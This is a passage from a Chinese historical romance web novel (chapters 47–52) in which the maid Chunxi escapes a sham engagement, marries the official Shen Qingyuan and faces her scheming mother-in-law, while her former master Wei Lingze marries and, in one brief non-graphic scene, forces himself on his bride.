《续弦小夫人》 第47章 沈大人他连吃带拿 张媒婆的嘴巴很厉害,都不用春喜开口,就把柳父骂了个狗血淋头。 明知道自己儿子好男风还祸害好人家的女儿,真是缺德到家了。 路过的商客听到这等猎奇之事,再也挪不动步子,恨不能凑到当事人面前听得更真切些。 那柳公子跟马夫真的在野外干那种事了? 马夫成日干粗活,体力肯定在柳公子之上,柳公子竟不觉得屈辱? 柳公子这癖好是怎么养成的,难道柳掌柜也…… 无数好奇探究的目光让柳父气得险些吐血,他不敢再跟张媒婆纠缠,果断收下银票退了与春喜的婚事。 待众人离去,柳父立刻给卫凌泽传信,然后带着钱和伙计去盂县救儿子。 命案已破,结案陈词送上去,卫凌泽立刻得了陛下召见。 御书房里,已经年近半百的昭武帝对他欣赏有加,赞不绝口,卫凌泽很是谦虚,不敢居功,一番客套后,昭武帝下旨,擢升他为正四品羽林中郎将。 连升两级,一跃成为天子近臣。 从宫里出来,上了马车,卫凌泽的唇角才缓缓上扬。 过去三年一直笼罩在他头顶的阴霾总算是过去了。 卫凌泽心情很好,当即让行舟去摘星楼定了包厢,邀请京兆府的同僚明天晚上一起庆功吃饭。 当然,他也不忘让人通知沈清渊。 他进京兆府还不到两个月就立功升职,而沈清渊在京兆府待了十年却无所建树,两相对比,他什么都不用做,就足以把沈清渊踩在脚下。 沈清渊拿什么跟他抢春喜? 想到春喜在失去沈清渊的庇护后就会乖乖回到他身边,卫凌泽脸上笑意更深,路过首饰铺,他还下车亲自挑了一支沉甸甸的足金金簪。 之前春喜在萧家看到金元宝两眼都在放光,这金簪虽然俗气,但她应该会喜欢。 卫凌泽的好心情一直持续到回家。 行舟定好包厢回来,也带回了柳掌柜的信。 看完信,卫凌泽的表情寸寸崩裂,变得铁青。 他费了一番周折才让柳家出面假意迎娶春喜,没想到春喜完全不领情,硬生生把婚给退了。 春喜怎么可能对盂县的事如此了解,肯定是沈清渊在背后帮她。 什么正人君子,这个老东西分明是居心叵测! 沈清渊并不意外会接到卫凌泽的邀请,第二日坦然赴宴。 案子告破,众人都提前下值来吃饭,因为沈清渊是最后一个到的。 他走进包厢时,众人都团团围在卫凌泽身边,府尹李明德更是满脸堆笑,尽显谄媚。 看到他,笑闹声戛然而止,好像他不是应邀前来的客人,而是不受待见的煞星。 “沈大人养着伤又不用上值,怎么来得这么晚,得先自罚三杯才行。” 李明德发话,其他人立刻附和,一通忙活后,满满当当三杯酒就摆在了沈清渊面前。 沈清渊没动,目光扫过众人:“我并未迟到,现在才到下值的时辰,是诸位早退了。” 众人一听这话就觉得扫兴。 这次案子又不是他破的,因为他贸然行事,害死了好几个人,上面发下来的赏银还得拿一部分出去抚恤。 卫大人请他来做什么呀。 众人看沈清渊的眼神都不善起来,李明德怕沈清渊揪着他们早退的事不放,一时也不敢多话,半晌,还是卫凌泽开口:“今天大家都是应我之邀来的,有什么话坐下再说。” 包厢摆了两桌,卫凌泽做东,他这一桌自然是主桌。 主桌没给沈清渊留位置,沈清渊去到旁边那桌。 众人复又热络地向卫凌泽贺起喜来。 因对沈清渊不满,众人在夸卫凌泽时,都会踩沈清渊两句。 卫凌泽今年才二十二,即便瘫痪在床三年,也还是相当的年轻有为,不像沈清渊,在京兆府都待了十年了,还是一点儿长进都没有。 而且卫凌泽马上就要迎娶才貌双全的萧家大小姐为妻,仕途婚姻双丰收,沈清渊呢,克死了两任妻子不说,快到而立之年膝下连个子嗣都没有,也不知道是不是身体有什么毛病。 卫凌泽含笑听着,并不阻止。 沈清渊就更不在乎了。 一群大老爷们儿聚在一起嚼舌根,丢脸的是他们,他为什么要往心里去? 卫凌泽出手阔绰,点的都是摘星楼的招牌菜,沈清渊每一样菜都尝了一口,觉得好吃的就多吃两筷子。 和上次在萧家吃席的春喜一模一样。 沈清渊吃得实在认真,一群人说着说着便没了劲儿,却又同时在心里鄙夷。 就知道吃,难怪十年都不得升迁。 沈清渊不仅要吃,发现有一盘炸丸子特别好吃,还招呼伙计另做一份儿一会儿要带走。 这话一出,众人皆是刷新了对沈清渊的认知。 连吃带拿,姓沈的你脸可真够大的。 卫凌泽暗暗抓紧酒杯,手背青筋鼓跳。 他本以为沈清渊被众人如此嘲讽,一定会如坐针毡、颜面尽失,谁知沈清渊一直泰然自若,食欲一点儿都不受影响。 沈清渊要把这份炸丸子带给谁? 这般想着,卫凌泽直接问了出来,所有人的目光都落在沈清渊身上。 沈清渊眉眼微弯,露出不常见的温和笑意:“自然是带给我在意之人。” “……” 嘶! 姓沈的中邪了吧,这种甜得倒牙的话怎么能从他嘴里说出来? 卫凌泽咬紧牙关,脑海里立刻浮现出春喜的脸。 老东西,找死! 其他人都在趁机巴结卫凌泽,只有沈清渊在专心干饭,所以他是第一个吃完的。 吃完饭,沈清渊便拿着伙计送来的炸丸子走了。 他刚离开客栈,卫凌泽便嘭的一声放下酒杯站起来。 “姓沈的要走就走,卫大人不用管他,咱们继续喝。” 李明德说着便要哥俩好地去揽卫凌泽的肩膀,被卫凌泽避开:“账都记在我头上,诸位慢慢吃,我还有事,先走了。” 卫凌泽的脸色很难看,全然没有之前的春风得意,众人虽然喝得有些上头,却也感受到不妙,不敢阻拦。 沈清渊的马车不快,卫凌泽很快就追了上去,没多久,曹家所在的巷子便映入眼帘。 沈清渊在巷口下车,拎着丸子敲开曹家的门,没一会儿,春喜便出来了,看到他,春喜肉眼可见的高兴。 沈清渊却没有进院子,而是带着春喜去往巷子的另一头。 卫凌泽远远看着这一幕,心中狂暴肆虐,恨不得把沈清渊千刀万剐。 春喜是他的,谁都不能把她抢走! 想到这里,卫凌泽大步上前,推开了曹家的院门。 王氏正在扫院子,冷不丁看到面色冷寒的卫凌泽,吓了一大跳。 天爷啊,大少爷怎么亲自来了? 第48章 她会做好沈夫人 卫凌泽来得突然,一身气息冷肃慑人,王氏战战兢兢地站在一旁,连茶水都不敢去准备。 昨晚孩子闹腾得厉害,曹武抱着哄了大半夜,这会儿正在屋里呼呼大睡,钱氏不能见风,春喜又出门去了,身边无人,王氏两腿都跟着发软。 卫凌泽坐得也很不舒服。 春喜家太小了,还很破烂,身下的椅子又硬又窄,跟受刑似的。 心里越发烦躁,卫凌泽皱眉问王氏:“你不知道柳家背后的人是谁吗?” 喝了不少酒,卫凌泽的嗓子有些哑,眸子又冷又沉,一开口,便把王氏吓得跪下,她小声辩解:“我知道柳家背后是大少爷,但清远侯夫人非逼着春喜嫁给沈大人,萧家老夫人都同意了,我也没有办法啊。” 王氏不知道春喜是怎么给柳公子扣上好男风的屎盆子的,但柳家既然退了亲,就说明春喜是有本事的。 王氏做不了春喜的主,只能把锅都推到清远侯夫人头上。 反正春喜过不久就要嫁到清远侯府去了,卫凌泽找侯府的麻烦也是应该的。 卫凌泽眸光微闪:“你的意思是,她不愿意嫁给那个老东西?” 老东西? 沈大人虽然年纪大了点,但也不算多老吧。 王氏在心里反驳,但听卫凌泽这样称呼便知道他和沈清渊有仇,连忙点头:“是啊,沈大人年纪一大把,哪里比得上大少爷,可清远侯夫人不仅拿我们一家老小的性命要挟,还到处散播谣言,说阿喜跟沈大人有了肌肤之亲,阿喜的名声尽毁,不嫁也不行啊。” 这段时间卫凌泽也派人调查了沈清渊,知道他和莫氏并非亲生母子,关系并不好,之前克死的两任妻子也多半是莫氏从中作梗。 莫氏图谋的无非是清远侯世子之位,借机逼沈清渊娶春喜做续弦,就是不想让沈清渊得到助力,若是春喜日后丢丑或者犯下大错,莫氏就能抓住沈清渊的小辫子了。 难道这段时间春喜和沈清渊其实是在故意做戏? 他们一个不想嫁,一个不想娶,偏偏屡屡在他面前举止亲昵,难道是想激他出手毁了这桩婚事? 呵!懦夫! 自己不敢承担不孝的罪名反抗继母,竟然拿旁人做筏子。 前后串联,卫凌泽觉得一切都说得通了。 看透真相后,这两日积压在胸腔的躁郁顿时消散,卫凌泽也没了急切想要夺回春喜的心情。 事情闹到这个地步都是春喜自找的。 她不是不甘心低人一等么,那就让她嫁进清远侯府,被莫氏好好磋磨一番,看看世家大族的正头娘子是不是这么好做的。 现在她是自由身,觉得自己有的选有些傲气也正常,等她困在侯府,日日受磋磨,能救她的就只有他了。 更重要的是,卫凌泽不想让沈清渊如意。 沈清渊想借他的手反抗莫氏,他偏要沈清渊算计落空。 等春喜心灰意冷,求到他面前,他再制造机会让春喜假死脱身就好了,反正沈清渊已经克死两任妻子,再“克死”春喜也不足为奇。 想到这里,卫凌泽周身冷意消融,唇角甚至带了笑。 王氏觉得诡异极了。 这有什么好笑的,大少爷不会是气疯了吧? 正想着,卫凌泽取下腰间玉佩递给王氏:“把它交给春喜,就说是我送她的新婚贺礼。” “这就不用了吧,怎么能让大少爷破费呢。” 王氏下意识地拒绝,卫凌泽顿时沉了脸:“我让你拿着就拿着!” 王氏不敢再推辞,双手接过玉佩,卫凌泽这才满意离开。 另一头巷尾,春喜一脸惊喜地吃着丸子。 “摘星楼的厨子手艺就是好啊,这丸子炸得好好吃,大人怎么突然想到送丸子给我吃?” “陛下给卫凌泽升了官,他今日在摘星楼宴请同僚。” 沈清渊神情淡淡,好像他顺手从宴席上带一份炸丸子给春喜是不值一提的事。 春喜暗暗咋舌。 连吃带拿这不是她才干得出的事吗,沈大人被她带坏了? “怎么了?” 沈清渊疑惑,春喜连忙摇头:“没什么,就是觉得大人干得漂亮。” 两腮被丸子塞得鼓鼓的,春喜的声音有些含糊不清,整个人像只努力进食的仓鼠。 沈清渊不自觉捻了捻指尖,忍下想戳春喜脸颊的冲动移开目光:“退亲的事进行得顺利吗?” 春喜飞快地嚼嚼嚼,咽下嘴里的东西说:“很顺利,多亏大人告诉我柳逢源的消息,现在外面的人都知道他好男风,这下他真得躲到青州才能说亲了。” 春喜眉飞色舞,像是打了一场大胜仗。 沈清渊眸底染上笑意,又听到春喜问:“大人呢,还顺利吗?” “顺利,”沈清渊点头,把莫氏立下的字据递给春喜,“我不仅拿回了我娘的嫁妆,还让她写下了欠条。” 春喜用裙摆擦掉手上的油污才接过欠条,看到上面的东西,忍不住瞪大眼睛:“这么多东西,侯夫人这是把你娘的嫁妆全部挪用完了吗?” “没有,我娘的嫁妆很多,这些东西只占三分之一。” “……”!!! 这张欠条上的东西皆价值不菲,少说也值上万两黄金,沈大人他娘也太有钱了! 春喜先是被惊到,而后意识到这张欠条价值不菲,连忙还给沈清渊:“这样重要的东西还是大人自己保管吧,万一被我弄丢就不好了。” 沈清渊没接,看着春喜说:“我与他们终究是一家人,她不会真的把钱还给我,总能找到各种借口推辞,但只要你拿着这张欠条过门,她便不好摆威风给你立规矩了。” 言下之意,这欠条是他特意给她的尚方宝剑。 她虽没有娘家撑腰,但靠着债主的身份,也不必害怕莫氏刁难。 沈大人真是太好了! 春喜胸口发热,她小心地收好欠条,拍着胸口保证:“大人放心吧,我一定会做好沈夫人的!” 沈清渊颔首:“嗯,我相信你。” 送走沈清渊,春喜才打着饱嗝儿回家,一进门,王氏就把她拉进屋,做贼似的把卫凌泽的贴身玉佩塞给她,还说是新婚贺礼。 “我看大少爷的神色不太对劲,这玉佩要不要想办法埋了,万一被人看见怎么办?” 王氏虽然贪财,但这段时间经历了这么多,也知道有些财是不能贪的。 “这么好的玉佩埋了多可惜,既然是送我的新婚贺礼,那我就收着呗。” 春喜语气轻快。 不管卫凌泽发什么疯,这送到手上的把柄不要白不要。 许是为了报复沈清渊,莫氏故意把婚期定在五月二十六,正好和卫凌泽、萧清禾的婚礼在同一天。 春喜没要聘礼,但沈清渊还是挑了个日子带着青书送了两只大雁和一些点心茶叶来。 王氏心里虽然有些不是滋味儿,但也还是笑着招待。 之后无事发生,一眨眼,便到了婚礼这天。 第49章 该改口唤他夫君 卫萧两家的联姻办得非常盛大。 提前两日,两家便派人在府外布施,城中百姓皆可去领布匹糕点和赏银。 到了婚礼这日,卫家更是请了瀚京最大的乐曲班子,一路敲锣打鼓地去往萧家迎亲,还会抛洒铜板让沿路围观的百姓也沾沾喜气。 春喜要在家梳妆打扮,不能出去凑热闹,却也从李婶口中听说了盛况。 李婶领了卫萧两家的布施,又算好时间跟着卫家迎亲的队伍走了一程,捡了二三十个铜板呢。 “这卫家真是豪气,一路上这喜钱跟撒花似的,迎亲的队伍可壮观了,几乎望不到头,卫大少爷更是俊美无双,我活这么多年,还从未见过相貌如此出众的郎君。” 李婶磕着瓜子喋喋不休。 王氏听得心烦。 卫家迎亲的阵仗越大,就显得春喜嫁得越寒酸。 沈清渊虽也是侯门之后,但聘礼就两只大雁一点儿茶叶点心,也太寒酸了,卫大少爷让柳家来骗春喜的时候,一出手就是五百两银子呢。 王氏寻了借口把李婶赶出房间,不死心地又问了春喜一次:“一会儿当真只有沈清渊和他那个随从来迎亲?” “不然呢,人家都是第三次成婚了,娶的还是我这么个连嫁妆都没有的,这是什么光彩的事吗?” 春喜毫不客气地翻了个白眼,王氏恨铁不成钢地瞪着春喜:“我就是那么一说,你要是跟我服个软,我哪能真的不给你准备嫁妆,成亲都成得这么寒酸,进了侯府还不知道要受多少委屈呢。” 说到最后,王氏还是红了眼眶。 到底是自己十月怀胎生下来的,之前她还能跟春喜置气,真到了这种时候,还是免不了心疼。 这个死丫头就是太倔了,还不肯服软,清远侯夫人一看就是个不好相与的,以后有这死丫头的苦头吃。 春喜没接这话。 王氏说得好听,但她知道不会的。 当初在被调到卫凌泽身边做事之前,她也回过家,想问她娘要一些钱讨好管事,可她娘二话不说就骂了她一顿,说她清闲日子过多了,竟然挑三拣四起来,又说大哥大嫂才刚定亲,婚礼还要花钱,她不该为了躲懒再向家里伸手。 若是她真的开口问她娘要嫁妆,她娘必然会向沈清渊索要十倍甚至是数十倍的聘礼,日后更要让她从侯府拿回更多东西来接济娘家。 这样的嫁妆,她要不起。 王氏嘀咕了半晌,春喜始终不接话,王氏那点儿惆怅很快就淡了,她擦了擦眼角,沉沉道:“这是你自己选的路,以后别回家来哭。” 没多久,沈清渊就和青书带着一顶两人抬的小轿来接亲。 虽然人数有点儿少,但沈清渊往那儿一站,一点儿也不显得寒酸。 一袭红衣的沈清渊少了平日的严肃凛然,多了两分俊美,加上他唇角含笑,神情和煦,之前被气势压下去的俊美容貌便显露出来。 众人一时不由得感叹。 沈大人年纪虽然大了点,但长得可真好看啊,一点儿也不显老。 而且看这身量,看这宽肩窄腰,在闺房之事上一定是一把好手。 曹武堵在门口拦门,沈清渊又是给红封又是说好话,一点儿架子都没有,众人不免吹捧了王氏几句。 这过日子嘛,要么图钱,要么图人。 沈大人这样好的相貌,这样好的脾气,婚礼简单点儿又有什么可挑剔的? 一炷香后,曹武把春喜背上花轿。 沈清渊翻身上马,青书吆喝一声,轿夫便抬起轿子,轻快地朝前走去。 王氏和曹武忍不住跟了几步,两人皆是泪眼汪汪。 王氏哽咽:“阿喜,你自己好好的!” 曹武则是冲沈清渊道:“沈清渊,你一定要对我妹妹好,不然我拼了这条命都不会放过你的!” 众人见状都很动容,不过等花轿消失在巷口,王氏便擦掉眼泪回到院中待客。 今天钱家的人也来了,她得好好问问之前那一百两银子怎么分! 轿子里,春喜低头看着自己一针一线绣出来的喜服,唇角缓缓上扬。 她嫁人了。 婚礼虽然简单,但嫁的是这世上最最好的沈大人,而且还是正头娘子,不是低人一等的妾室或是见不得光的外室。 爹,您在天有灵一定也很为女儿高兴吧。 花轿行至半路,两个迎亲队伍相遇。 卫家的队伍太过庞大,围观百姓忙着抢喜钱,都没注意到还有另外的人成亲,卫凌泽却第一时间注意到了沈清渊和他身后那顶不起眼的花轿。 花轿里,坐着春喜。 沈清渊在第一时间感受到卫凌泽的视线,并抬头看了过来。 距离很远,卫凌泽看不清沈清渊脸上的表情,却明显感受到沈清渊目光里的霸道凶悍。 那是和沈清渊平日在京兆府表现出来的截然不同的气场。 好像只要沈清渊想,就能把他踩在脚下。 这个老东西哪儿来的底气? 卫凌泽抿唇,抓紧手里的缰绳,沈清渊已移开目光,带着花轿进了旁边巷子,好像刚刚的对视只是他的错觉。 “大少爷,怎么了?” 卫凌泽勒停了马迟迟没有往前走,行舟立刻上前来。 卫凌泽压下翻涌的戾气摇头:“没事。” 卫家高朋满座,婚礼仪式结束后,卫凌泽陪着宾客喝酒,直到深夜才带着一身酒气回到婚房。 屋里,萧清禾穿着凤冠霞帔,安静坐在床上。 卫凌泽用喜称挑起盖头,萧清禾随之仰头,倾城绝美的脸上没有丝毫不悦,潋滟的眸底盛满笑意。 交换结发,喝完合卺酒,一屋子的丫鬟婆子全都退下。 萧清禾命人去煮醒酒汤,顾不上拆下自己身上繁重的凤冠首饰,先帮卫凌泽宽衣,只是她的指尖刚碰到卫凌泽的衣领,就听到卫凌泽低哑的声音:“疼。” “哪里疼?” 萧清禾皱眉,满脸紧张。 卫凌泽垂眸,裹着酒气吐出一个字:“腿。” 萧清禾毫不犹豫,当即蹲下查看他腿的情况。 卫凌泽眸底闪过晦暗的快意,而后抓着萧清禾的胳膊把她扔到床上。 “卫郎?” 萧清禾一惊,尚未反应过来,整个人便被拽入狂风骤雨之中,痛楚传来时,她听到卫凌泽带着喘息的声音:“从今日起,你该改口唤我夫君。” 带着命令和绝对掌控,唯独……没有怜惜。 第50章 当真准备好了? 侯府没有宴客,沈清渊带着春喜去祠堂磕了个头,就算了事。 等沈清渊掀开盖头,春喜还有些不敢置信:“这就完了,不用给侯爷和夫人磕头吗?” “不用,他在庄子上陪狐狸精,没回家。” 沈清渊语气淡淡,很自然的抬手取下春喜头上的银钗。 春喜张张嘴,还是不太适应沈清渊的坦诚。 儿子成婚,当爹的为了狐狸精连面都不露,这种话是能跟她这个刚入门的外人说的吗? 看出春喜心中所想,沈清渊挑眉:“不想听?” “当然想听,但这些秘密我真的能听吗?” 而且谁家新婚夜不忙着洞房光顾着八卦啊? “你已是我的妻,关于我的一切,你都可以知道。” 沈清渊给出肯定回答,春喜当即道:“这么听有点儿干巴,要不来点儿酒菜一起?” 大人都不拿她当外人,她就更不能见外了。 穿着嫁衣,又难得梳妆打扮了一番,春喜这一路都很安静,沈清渊还以为她会因为身份不同有所变化,听到这话眸底染了笑。 这还是他认识的春喜。 虽然不用宴客,沈清渊还是让青书从摘星楼定了一桌酒菜,饭菜很快送来。 春喜早上就没吃东西,这会儿饥肠辘辘,等沈清渊动了筷子,连忙跟着吃起来,刚吃了两口,便又听到沈清渊说:“我是萧家老太爷和萧老夫人的老来子,已故的清远侯夫人是我的小姑姑。” “……” 春喜夹菜的手一抖,筷子险些掉下去。 这么重大的消息大人不铺垫一番就这么直接来吗? 沈清渊不是个好的说书先生,但春喜是个很好的听众,她很快压下惊讶,配合地问:“他们为什么要把大人送到侯府来?” “清远侯出身贫寒,封爵后又立下不少战功,升无可升,便只能赐婚,世家权贵知道一旦战事止息,他就不会被重用,皆是不愿,清远侯眼光也高,他在一次宴席上看中了我的小姑姑,并以战功求娶……” 皇室权贵虽然看不上清远侯,但当时战乱未休,还要靠清远侯稳定军心,清远侯以战功求娶,陛下没有不答应的道理,而萧家也不能抗旨。 先帝同意赐婚,两人很快结为夫妻。 然而清远侯不过是个粗鄙武夫,身上陋习无穷无尽,投奔而来的家人更是一群不讲道理的野蛮人。 这桩婚事让萧氏如坠炼狱,成婚不久,她便偷偷服用了绝子汤。 清远侯能打赢那么多胜仗,自然知道他的嫡子必须是萧氏所生才能借到萧家的势,成婚多年无子,清远侯到底发觉了真相。 他怒不可遏,却又不能拿萧氏怎么样,只能逼萧家想办法补偿他,不然他就要告到御前,说萧家表面顺从,实则包藏祸心。 谁都知道这是无稽之谈,但当时先帝年事已高,疑心很重,萧家还有一女在东宫为太子侧妃,萧家不敢赌,只能把刚出生的沈清渊送到清远侯府。 然而沈清渊的到来并不能阻止清远侯的落败。 战事平息,天下大定,清远侯手中的兵权很快被夺走,无法得到重用的他开始从人人称赞的大英雄变成空有一身蛮力的粗鄙武夫,他试图想办法补救,却无能为力。 莫氏这个时候的算计给了他致命一击。 两人在莫家老夫人寿宴时被当众发现滚到床上,郁郁寡欢的萧氏闻讯病逝,清远侯从旧日英雄成了忘恩负义、贪财好色的登徒子。 莫氏虽然如愿嫁入侯府做续弦,清远侯对她却是非打即骂,莫氏彻底死心后,送了两个美人给清远侯,从此,清远侯就成日沉迷酒色,再不问其他事。 莫氏觊觎世子之位已久,为了给沈清渊扣上克妻的罪名,她先是给沈清渊娶了身份尊贵却先天不足的礼部侍郎嫡次女,后又趁沈清渊在沂州破案,为他娶了娘家侄女。 婚礼当日沈清渊甚至都不在瀚京。 婚礼之后莫氏便让娘家侄女前往沂州找沈清渊,谁知半路遇到劫匪,香消玉殒。 沈清渊给春喜讲了大半夜的侯府辛秘,春喜虽然听得津津有味,却也忍不住犯困。 熄灯睡下时,她隐隐约约觉得好像忘了什么事,然而困意太浓,没等她想起来整个人就睡死过去。 第二天一大早,沈清渊便起了。 春喜打着哈欠睁开眼,就看到沈清渊背着她在穿衣。 之前帮他包扎伤口,春喜也算是见过他的身体,但那时情况紧急,根本来不及想其他的。 这会儿这么看着才发现这具身体肌理分明,健壮有力。 出嫁前王氏的嘱咐在脑海回响,春喜终于想起昨晚忘了什么。 她忘了跟大人圆房!!! 春喜整个人都清醒过来,正想说些什么,房门被敲响,然后是贾嬷嬷的声音:“大少爷,少夫人,你们醒了吗?夫人命我来取东西。” 新婚燕尔,莫氏让贾嬷嬷来取的自然是元帕。 春喜有点慌,正不知该如何解释,就见沈清渊从容不迫的从枕头下面拿出一方帕子交给贾嬷嬷。 等贾嬷嬷走远,春喜小声开口:“大人怎么会提前准备这种东西?我虽贴身照顾卫大少爷三年,但从未有过越矩行为……” 到底未经人事,春喜的耳朵有点发红,低着头不敢看沈清渊的眼睛。 话没说完,沈清渊宽大的手掌就落在她头顶,轻轻揉了揉。 “我知道你是清白的,只是你我毕竟差着年岁,我总得给你点时间适应。” “这有什么好适应的?我既答应与大人成婚,就已经做好全部的准备了。” 春喜脱口而出,落在她头顶的大掌一顿,而后下滑变为扣住她的后脑勺。 在她尚未反应过来时,腰间横过来一只手,上下发力,将她整个人捞入沈清渊宽厚的胸膛。 下一刻,沈清渊低头凑近,几乎和春喜鼻尖相抵,唇瓣相贴。 已是天光大亮,窗户开着,屋里光线明亮。 沈清渊的呼吸悉数喷在春喜脸上。 滚烫如铜铁烧融的浆。 这个时候的沈清渊,没了让春喜安心的一身正气,眸光幽暗,如同饿狼。 春喜不自觉屏住呼吸,手心冒出汗来,然后她听到沈清渊含着笑意的声音:“想好了,当真准备好了?” “……” 对不起大人,我刚刚说大话了! 第51章 敬茶 梳洗完毕,春喜和沈清渊一起去主院敬茶。 刚到主院门口,就听到莫氏和清远侯在吵架。 “昨日是渊儿大婚,侯爷都不回来主持大局,也不知道是被灌了什么迷魂汤。” “他都成三次婚了,谁知道这回进门这个能活多久,而且他自己都没有宴客,你非让我回来做什么,一个小门小户的女子,有什么值得我见的?” “他是成三次婚了,但越儿和宇儿的婚事还没有着落,侯爷就不为他们考虑一下吗?” “这不是有你吗,你一个庶女都能成为侯府夫人,难道不能给你儿子算计一门好亲事?” 陈年旧事被提起,眼看要爆发大战,沈清渊拉着春喜步入主院,院中伺候的丫鬟连忙高声禀报:“侯爷、夫人,大少爷和少夫人来敬茶了!” 吵闹声戛然而止,两人进屋时,清远侯和莫氏皆端坐在主位,莫氏勾唇笑得端庄又贵气。 但昨晚沈清渊说的那些八卦和刚刚两人的争吵不断在春喜耳边回响,春喜只觉得莫氏这笑很是命苦。 完了,有点难绷! 怕自己会笑出声,春喜连忙低下脑袋,拼命用手掐自己的大腿。 莫氏不知道自己的老底都被春喜知道了,只当春喜胆怯害怕,才会如此低眉顺眼。 贾嬷嬷端来喜茶。 茶水滚烫,即便盖着盖子,也还是有热气溢出。 这是莫氏故意给春喜准备的下马威。 春喜正要去端,手腕忽地被扣住,沈清渊沉沉开口:“来人,去祠堂把我娘的牌位请来。” 莫氏表情微僵:“渊儿,昨日你们不是已经去祠堂给姐姐行了礼了,今日这茶……” “先给我娘敬茶,再给母亲敬,不应该吗?” 沈清渊反问。 莫氏刚要开口,清远侯便不耐烦道:“你不想让新媳妇给你母亲敬茶直说就是,何必把那么晦气的东西弄到这里来。” 萧氏宁可服用绝子汤都不肯给清远侯生孩子,清远侯对她亦是十分痛恨,连她的牌位都不愿看见。 “侯爷……” 莫氏觉得委屈,然而刚开口就被清远侯打断:“你还有两个亲生儿子,等他们成婚,有的是儿媳妇给你敬茶,跟死人争什么。” “……” 她这是在跟死人争吗,她是要树立婆婆的权威,不然以后怎么从新媳妇手里拿回萧氏的嫁妆? 可她连这口媳妇茶都没喝到,新媳妇怎会把她这个婆母放在眼里? 莫氏想要据理力争,清远侯已失了耐性,他豁然起身,掀翻贾嬷嬷手里的托盘。 他养在庄子里的美人脾气挺大的,若不早点回去陪着,怕是又要闹翻天。 滚烫的茶水泼洒而出,沈清渊及时把春喜拉到身后,莫氏和贾嬷嬷被烫个正着,连清远侯的手背都被烫红了一片。 “狗奴才,怎么做事的,弄这么烫的茶是想烫死我啊!” 清远侯一脚踹翻贾嬷嬷,扬长而去,莫氏气得险些撕烂手里的帕子。 迟早要精尽人亡的老东西,烫死你正好! 莫氏深吸了几口气压下怒火,转而对春喜说:“我知道你家境不好,没有陪嫁丫鬟和婆子,我已让贾嬷嬷新买了一些丫鬟和小厮,一会儿就随你去问心院伺候,贾嬷嬷是我身边的老人,你有什么不懂的都可以问她。” 沈清渊把嫁妆要过去又如何,他一个大男人,总不能一直在家里守着这些东西。 这个叫春喜的连嫁妆都没有,进门以后还不是任她拿捏? 有贾嬷嬷在,神不知鬼不觉地搬空那些嫁妆并不是什么难事,而且府里上下都知道她把萧氏的嫁妆都还给沈清渊了,等这个逆子发现这些东西不见可就怪不得她了。 莫氏想着心情好转,连对清远侯的怨念都少了两分。 下一刻却听到春喜说:“多谢母亲,但问心院用不到这么多人伺候。” 莫氏面色微沉,贾嬷嬷当即冷声道:“长者赐不能辞,少夫人这是要忤逆夫人吗?” 沈清渊掀眸,扫了贾嬷嬷一眼。 这一眼极有威压,贾嬷嬷却挺直着背脊,半点不曾退缩。 在萧家被打后,回来养了这么多天,贾嬷嬷脸上早已消肿,心里对沈清渊怨恨却日益深重。 这里是清远侯府,不是萧家,她替夫人调教少夫人是天经地义的事,大少爷再不高兴也不能拿她怎么样。 只是贾嬷嬷身上还有被清远侯踹出来的鞋印,气势被削减了大半。 春喜柔声道:“嬷嬷误会了,阿喜不敢忤逆婆母,只是阿喜听大人说,婆母向来勤俭持家,我以前就是伺候人的,我一个人就能顶三个,肯定能伺候好大人,不需要别人了。” “这没成婚怎么能和成了婚一样?况且你现在是侯府少夫人了,怎么能再干伺候人的活。” 贾嬷嬷反驳,实在觉得春喜上不得台面。 春喜并不生气,眨巴着眼,一脸天真地反问:“我伺候大人不是天经地义的事吗?” 那也不能你一个人把所有的事都干了啊。 贾嬷嬷瞪着眼睛要好好训斥春喜一番,还没开口又听到春喜说:“我听大人说府里眼下已经入不敷出了,连大人已故娘亲的嫁妆都被挪用了些,母亲新买了这么多人,可是有了什么生财的路子?” 春喜两眼放光,要是莫氏敢点头,她马上就会掏出欠条让莫氏还钱。 这个逆子! 莫氏恶狠狠地瞪着沈清渊:“家里倒也没到入不敷出的地步,渊儿你怎么能跟新媳妇说这种事呢,万一吓到她怎么办?” 莫氏咬牙切齿,险些绷不住体面破口大骂,沈清渊理直气壮:“我与阿喜夫妻一体,自然不会对她有任何隐瞒。” 莫氏的太阳穴突突地跳,但也不敢继续往问心院塞人,只能做出让步:“你能如此节省,可见是个会过日子的好孩子,那些丫鬟小厮可以退掉,但总要让贾嬷嬷教教你规矩才行,这做侯府少夫人可跟你在卫家做丫鬟大不一样。” 最后一句话,莫氏刻意加重语气。 春喜弯眸,看向贾嬷嬷:“那以后就有劳贾嬷嬷了。” 春喜语气乖顺,脸上更是看不出任何异样,但贾嬷嬷就是莫名的心头一颤,而后恼怒。 她吃过的盐比这丫头走过的路都多,还能怕了这丫头不成? 第52章 立规矩 第二日,沈清渊回了署衙上值。 他一走,贾嬷嬷就来给春喜立规矩了。 “大少爷是侯爷的嫡长子,十七岁时就高中状元,是瀚京少有的天纵奇才,若非被克妻之名连累,绝不可能娶你这样的女子为妻。” 春喜点点头:“嬷嬷放心,我打小身体就好,这些年连伤风感冒都很少有,我一定会活得长长久久,替大人破除克妻传言。” 谁关心你活得久不久啊,这句话的重点是这个吗? 贾嬷嬷板着脸,加重语气:“前面两任少夫人都是官家出身,知书达理,少夫人完全没办法和她们相提并论。” 贾嬷嬷把话说得更直白了些,春喜脸上却还是没有半点自卑,反而附和道:“嬷嬷说得对。” 春喜的语气平静又真诚,贾嬷嬷像是一拳打在了棉花上,无力极了。 静默片刻,贾嬷嬷端起架势:“那少夫人先从走路学起吧,这世家宗妇,不管什么时候仪态都要端庄,不可佝腰驼背,不可耸肩含胸,更不可大步如飞,冒冒失失。” 说着话,贾嬷嬷倒了一碗水放到春喜头上:“少夫人走走看。” 春喜平视前方,一步两步三步…… 从屋里走到屋外,又从屋外走进来,那碗水始终稳稳在她头顶,一点儿要洒出来的迹象都没有。 贾嬷嬷不可置信地揉揉眼睛,然后听到春喜问:“嬷嬷,是这样吗?” “……” 是这样没错,但你也走得太稳了吧,你以前是杂耍班子的吗? 走路难不到春喜,贾嬷嬷又改让春喜练坐姿。 屁股只能坐三分之一,身子还得保持挺拔。 寻常人这么坐一会儿就要受不住,春喜却跟玩儿似的,表情轻松极了。 贾嬷嬷刚想鸡蛋里挑骨头,打春喜一下子,却听到春喜说:“嬷嬷不知,我小时候跟我爹练武,马步扎得可稳了。” 贾嬷嬷刚刚举起来的手抖了一下。 少夫人会武,她这把老骨头可不一定打得过。 